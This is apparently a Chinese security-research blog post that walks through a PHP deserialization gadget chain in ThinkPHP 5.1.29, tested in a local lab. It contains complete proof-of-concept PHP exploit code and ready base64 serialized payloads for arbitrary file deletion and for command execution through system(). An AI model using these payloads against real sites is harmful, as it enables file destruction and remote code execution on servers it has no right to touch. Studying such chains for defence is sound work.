Thinkphp5.1.29反序列化链简要分析
环境搭建
参考: https://www.bilibili.com/video/BV1hR4y1K7ys?t=1.2
源码下载:https://gitee.com/yanhuanyu/thinkphp_download
修改HOSTS:
phpstorm:
增加一行:
其他的按照视频中的配置即可
分析
任意文件删除
先自己定义一个入口点:
反序列化入口:
__wakeup
__destruct
这里选的是Windows类的__destruct
public function __destruct()
{
$this->close();
$this->removeFiles();
}
查看close()函数:
差不多就是调用父类的close()来关闭一些值
查看removeFiles()函数:
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
// 可见传入的$this->files为一个数组,然后通过foreach遍历,用file_exits判断是否存在,存在则用unlink删除掉
查看$thiss->files
的定义:
发现它是一个数组
接下来构造poc即可:
<?php
namespace think\process\pipes; // 指定调的是哪个类
class Pipes{
}
class Windows extends Pipes{
private $files = [
"D:\\60.phpstudy_64\phpstudy_pro\WWW\www.tp1234.com\\1"
];
}
echo base64_encode(serialize(new Windows()));
# TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjUxOiJEOlw2MC5waHBzdHVkeV82NFxwaHBzdHVkeV9wcm9cV1dXXHd3dy50cDEyMzQuY29tXDEiO319
然后给这个public/index.php传参id即可:
运行后就会发现test.txt被删掉了
调试一下:
跟进:
× 断点位置应该在Windows类的__destruct
方法中:
跟进:
进到removeFiles内部:
发现成员变量$this->files
这个数组确实被赋值了
继续跟进:
到了unlink的下一步发现文件确实已被删除
总的来说,上面的流程就是:
Windows::__destruct -> removeFiles -> file_exits -> unlink
poc
任意文件删除的poc:
namespace think\process\pipes; // 指定调的是哪个类
class Pipes{
}
class Windows extends Pipes{
private $files = [
"D:\\60.phpstudy_64\phpstudy_pro\WWW\www.tp1234.com\\1"
];
}
namespace think\model\concern;
echo base64_encode(serialize(new Windows()));
# TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjUxOiJEOlw2MC5waHBzdHVkeV82NFxwaHBzdHVkeV9wcm9cV1dXXHd3dy50cDEyMzQuY29tXDEiO319
RCE
我们上面用到了file_exits,而这个函数能够触发__toString
方法
查看哪里调用了__toString
:
这里选用的是Conversion这个类里面的__toString
方法,跟进:
调用了toJson方法,跟进:
调用了toArray方法,跟进:
到了这个类就有问题了
这个visible()方法未被声明,如果让$relation
为一个类,visible()为这个类中不存在的方法,$name
为空的话,就会触发这个类里面的__call
方法,如果__call
方法里面有可利用的点,就符合需求了。
查找到Request类里面的__call
里面调用了call_user_func_array,并且$this->hook
可控:
$this->hook[$method] = "assert";
$args = arary("phpinfo")
显然就能执行命令了
Conversion被trait修饰,而不是class修饰:
PHP中的trait关键字:
Trait 是为类似PHP的单继承语言而准备的一种代码复用机制,也就是说它可以被继承,我们只需要找继承它的类替代即可。不过它被继承的形式不是implements,而是use,即
use model\concern\Conversion
直接点这个符号即可
跳转到了抽象类Model这里,使用use导入Conversion
由于抽象类不能实例化,所以要找继承Model的类:
找到了Pivot这个类,之后就是实例化这个类
但是我们之后要用到append这个成员变量,显然Pivot这个类里面是没有的,但在Model类里面有
所以Windows::file_exists -> Conversion::__toString
实现代码:
<?php
namespace think; // 这是Model.php前缀
abstract class Model{
}
namespace think\Model; // 这是Pivot类前缀
use think\Model;
class Pivot extends Model{ // class类前面不要用use
}
// 总之就是父类在前面,子类在后面,顺序也是有讲究的
namespace think\process\pipes;
use think\model\Pivot; // 因为后面要实例化Pivot类,所以这里使用use
class Pipes{ // 如果是继承了抽象类的话,要把这个抽象类再声明一下
}
class Windows extends Pipes{
private $files;
public function __construct(){
$this->files = [new Pivot()]; //不能直接new Conversion,Model继承Conversion,而Pivot继承Model,所以实例化Pivot类
// 2. Windows::file_exists -> Conersion::__toString
}
}
echo base64_encode(new Windows()); // 1. unserialize -> Windows::__destruct
难点2:怎么实现Conversion::getAttr -> Request::__call
foreach ($this->append as $key => $name) {
// append = ['moon'=>[]];
if (is_array($name)) { // []也是数组,只不过是空数组
// 追加关联对象属性
$relation = $this->getRelation($key); // 空数组,则其关联对象属性为null,所以$relation = false
if (!$relation) { // 为真进入
$relation = $this->getAttr($key);
$relation->visible($name); // 7 Conversion::getAttr -> Request::__call
}
显然还要绕过foreach、is_array部分,即让$this->append
为数组
不仅如此,也要让
$append
的值也是数组,即$append
为两重数组
__call
的触发时机是调用不存在的方法,这里涉及了方法visible,而Request类中显然没有,所以可以利用
只要令$relation
为Request类的对象即可
而$relation
的赋值显然与getRelation和getAttr这两个方法有关
查看实现细节:
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
含义:
判断$name的值是否为空,为空(没有给getRelation传值)则直接返回relation这个成员变量,不为空并且$this->relation数组中存在以$name为key的元素,则返回relation数组中与$name对应的值
所以如果令$relation = ["moon"=>[]]
的话,getRelation里面的$name = "moon"
,则is_null($name) = false
,直接return,这里是return的null
即$relation
= null,而!$relation = true
,所以进入$relation = $this->getAttr($key);
,
getAttr()函数内部:
调用了getData函数,进入:
这个elseif是判断$name
的这个键是否在$this->data
这个数组中
最后的赋值是:
$this->data = ['moon'=>new Request()];
是的话就直接返回这个键所对应的值,即返回Request类的对象,即$relation = new Request()
然后触发$relation->visible($name);
,从而进入Request对象的__call
魔术方法,这时的$name = 'moon';
,作用不大
打了断点才知道进入了__call
,只使用下面的箭头的话可能会忽略
进入__call
后又有if判断array_key_exists($method, $this->hook
所以要使$method
为$this->hook
这个数组的key,由__call
参数的定义可知$method = "visible";
,后面的赋值:
满足条件,进入array_unshift所在行,它的作用是在数组开头插入一个或多个元素,整个表达式的作用是将当前对象实例$this作为第一个元素添加到 $args 数组的开头
只要用空格保持好间距即可不被渲染
接着进入下面的call_user_func_array
这个函数的作用是把第一个参数作为回调函数调用,把参数数组作为函数的参数传入,返回回调的结果
发现$args 至少是由两个元素组成的数组,无法直接利用,如:
call_user_func_array("system",[new Request(),"calc"]);
但是这样子是执行不了的,所以无法直接利用
现在是考虑调用这个类里面的isAjax函数:
为什么想到了这个函数?
因为这个函数调用了param函数,那么肯定就能触发input函数了,可以回顾下tp 5.0/1.x的命令执行漏洞
所以说以前的漏洞利用对现在的漏洞挖掘可能有帮助!!!!!!
call_user_func_array的进阶使用:
<?php
class Test{
public function isAjax(){
echo "isAjax";
}
public function __call($method,$args){
echo "__call";
call_user_func_array(array($this,"isAjax"),$args);
}
}
$a = new Test();
$a->visible();
这里当$args 为任意值时,如果第一个参数为数组,数组的第一个元素为类本身,第二个元素为类中函数名,则它的作用就是调用了这个类中的函数
所以赋值:$this->hook = ['visible'=>[$this , 'isAjax']]
接下来怎么赋值呢?那就要从后往前推了:
现在我们的目标是调用call_user_func,即:
$filter = 'system';
$value = 'calc';
关于这个$filter
和$value
的赋值:
进一步查这个input()函数的调用情况:
进一步看param的调用情况:
所以param中filter的赋值:
$this->filter = ['system'];
filterValue中的$value
对应input中的$data
,对应param中的$this->param
,可控了
所以赋值:
protected $param = 'calc';
进入param函数:
如果不进入这个if判断块里面的话,对后面$data
赋值的影响就会少很多
所以赋值:
protected $mergeParam = true;
注意:
断点随时都能下,下了断点就会起作用
左边那个符号直接在断点之间跳跃
边分析可以边在旁边写上注释
很多代码都不用细看,只需要关注那几个关键的点位,具体代码含义可以不用管,顺其自然,如果最终影响了我们的结果,就在那些代码那儿仔细调就行了
注:如果只有return;
,那就是返回null
接下来看这个:
如果想要绕过这个:
就让上面提到的config数组里面var_ajax的值为空就行了
即:
protected $config = [
'var_ajax' => '',
];
感觉对$mergeParam
和$config
的赋值的目的都是绕过某些if代码块
$filter
的赋值:
所以:
$this->filter = ['system'];
效果:
然后经过下面的$filter[] = $default
,使得数组$filter
这个数组的元素由一个变为两个:
接着执行array_walk_recursive函数,使其进入filterValue这个函数里面
array_walk_recursive:对数组中的每个成员递归地应用用户函数
进入filterValue:
发现这里还有个array_pop,作用是删除数组的最后一个元素,正好与$filter[] = $default
相对应,经此处理后,$filters
就是只有一个元素的数组了
poc
<?php
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $mergeParam = true;
protected $param = 'calc'; // 这个也可以是数组
protected $config = [
'var_ajax' => '',
];
function __construct(){
$this->hook = ['visible'=>[$this,'isAjax']];
$this->filter = ['system'];
}
}
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
# append键必须存在,并且与$this->data相同
$this->append = ['moon'=>['']];
$this->data = ['moon'=>new Request()];
}
}
namespace think\model;
use think\model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
echo base64_encode(serialize(new Windows()));
# TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJtb29uIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJtb29uIjtPOjEzOiJ0aGlua1xSZXF1ZXN0Ijo1OntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fXM6MTM6IgAqAG1lcmdlUGFyYW0iO2I6MTtzOjg6IgAqAHBhcmFtIjtzOjQ6ImNhbGMiO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
protected、private修饰的成员变量的赋值最好在
__construct
中